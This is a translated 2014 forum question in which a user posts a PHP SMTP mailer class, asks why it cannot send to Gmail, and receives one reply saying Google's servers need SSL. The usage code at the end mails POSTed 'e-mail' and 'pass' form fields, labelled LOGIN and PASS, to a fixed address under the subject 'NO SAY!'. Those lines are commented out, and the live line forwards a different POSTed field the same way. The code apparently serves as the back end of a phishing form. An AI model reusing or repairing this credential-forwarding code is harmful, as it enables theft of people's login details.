V
V
Vadim9972014-08-18 14:36:50
PHP
Vadim997, 2014-08-18 14:36:50

How to send email to gmail using php?

I am creating an application so that letters are sent to all mailboxes. And I'm having a problem sending an email to gmail.
Here is the code:

<?php

class SendMailSmtpClass {


    public $smtp_username;
    public $smtp_password;
    public $smtp_host;
    public $smtp_from;
    public $smtp_port;
    public $smtp_charset;
    
    public function __construct($smtp_username, $smtp_password, $smtp_host, $smtp_from, $smtp_port = 25, $smtp_charset = "utf-8") {
        $this->smtp_username = $smtp_username;
        $this->smtp_password = $smtp_password;
        $this->smtp_host = $smtp_host;
        $this->smtp_from = $smtp_from;
        $this->smtp_port = $smtp_port;
        $this->smtp_charset = $smtp_charset;
    }
    

    function send($mailTo, $subject, $message, $headers) {
        $contentMail = "Date: " . date("D, d M Y H:i:s") . " UT\r\n";
        $contentMail .= 'Subject: =?' . $this->smtp_charset . '?B?'  . base64_encode($subject) . "=?=\r\n";
        $contentMail .= $headers . "\r\n";
        $contentMail .= $message . "\r\n";
        
        try {
            if(!$socket = @fsockopen($this->smtp_host, $this->smtp_port, $errorNumber, $errorDescription, 30)){
                throw new Exception($errorNumber.".".$errorDescription);
            }
            if (!$this->_parseServer($socket, "220")){
                throw new Exception('Connection error');
            }
         
            fputs($socket, "HELO " . $this->smtp_host . "\r\n");
            if (!$this->_parseServer($socket, "250")) {
                fclose($socket);
                throw new Exception('Error of command sending: HELO');
            }
            
            fputs($socket, "AUTH LOGIN\r\n");
            if (!$this->_parseServer($socket, "334")) {
                fclose($socket);
                throw new Exception('Autorization error');
            }
            
            fputs($socket, base64_encode($this->smtp_username) . "\r\n");
            if (!$this->_parseServer($socket, "334")) {
                fclose($socket);
                throw new Exception('Autorization error');
            }
            
            fputs($socket, base64_encode($this->smtp_password) . "\r\n");
            if (!$this->_parseServer($socket, "235")) {
                fclose($socket);
                throw new Exception('Autorization error');
            }
            
            fputs($socket, "MAIL FROM: ".$this->smtp_username."\r\n");
            if (!$this->_parseServer($socket, "250")) {
                fclose($socket);
                throw new Exception('Error of command sending: MAIL FROM');
            }
            
            fputs($socket, "RCPT TO: " . $mailTo . "\r\n");     
            if (!$this->_parseServer($socket, "250")) {
                fclose($socket);
                throw new Exception('Error of command sending: RCPT TO');
            }
            
            fputs($socket, "DATA\r\n");     
            if (!$this->_parseServer($socket, "354")) {
                fclose($socket);
                throw new Exception('Error of command sending: DATA');
            }
            
            fputs($socket, $contentMail."\r\n.\r\n");
            if (!$this->_parseServer($socket, "250")) {
                fclose($socket);
                throw new Exception("E-mail didn't sent");
            }
            
            fputs($socket, "QUIT\r\n");
            fclose($socket);
        } catch (Exception $e) {
            return  $e->getMessage();
        }
        return true;
    }
    
    private function _parseServer($socket, $response) {
        while (@substr($responseServer, 3, 1) != ' ') {
            if (!($responseServer = fgets($socket, 256))) {
                return false;
            }
        }
        if (!(substr($responseServer, 0, 3) == $response)) {
            return false;
        }
        return true;
        
    }
}

$mailSMTP = new SendMailSmtpClass("[email protected]", "password" , "[email protected]", "[email protected]"); // создаем экземпляр класса

$headers= "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=utf-8\r\n"; 
$headers .= "From: User <[email protected]>\r\n"; // 

/*
$result =  $mailSMTP->send("[email protected]", "NO SAY!",  "LOGIN:  "  . $_POST["e-mail"] , $headers); 

$result =  $mailSMTP->send("[email protected]", "NO SAY!", "PASS: " . $_POST["pass"], $headers); 
*/

$result =  $mailSMTP->send("[email protected]", "NO SAY!",$_POST["m"], $headers);


if($result === true){
   // echo "письмо отправлено";
}else{
    echo "ошибка: " . $result;
}

?>

Answer the question

In order to leave comments, you need to log in

1 answer(s)
V
Vit, 2014-08-18
@fornit1917

In my opinion, Google's smtp servers only accept ssl traffic.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question